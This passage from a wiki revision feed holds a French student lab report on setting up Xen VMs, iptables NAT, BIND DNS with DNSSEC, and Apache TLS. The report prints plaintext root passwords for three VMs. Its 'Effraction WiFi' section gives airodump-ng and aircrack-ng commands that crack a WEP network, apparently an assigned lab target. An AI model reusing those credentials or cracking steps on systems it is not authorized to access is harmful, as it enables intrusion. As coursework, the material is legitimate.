Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12137</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12137"/>
		<updated>2026-02-10T13:49:55Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Etape 1 : Connexion SSH */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3 ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3&lt;br /&gt;
&lt;br /&gt;
==== Effraction WiFi ====&lt;br /&gt;
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas. &lt;br /&gt;
&lt;br /&gt;
Avec ip link je vois que l'interface wifi se nomme wlan1.&lt;br /&gt;
&lt;br /&gt;
On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 : &lt;br /&gt;
&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&lt;br /&gt;
Je recupere :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;04:DA:D2:9C:50:54  -63       27        5    0   4   54e. WEP  WEP         cracotte05&amp;lt;/code&amp;gt;               &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:54 -c4 --write log_airodump&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ensuite après avir récuperer 5000 data :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -b 04:DA:D2:9C:50:54 log_airodump-01.cap&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12136</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12136"/>
		<updated>2026-02-10T13:41:41Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Compte rendu des commandes effectués */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
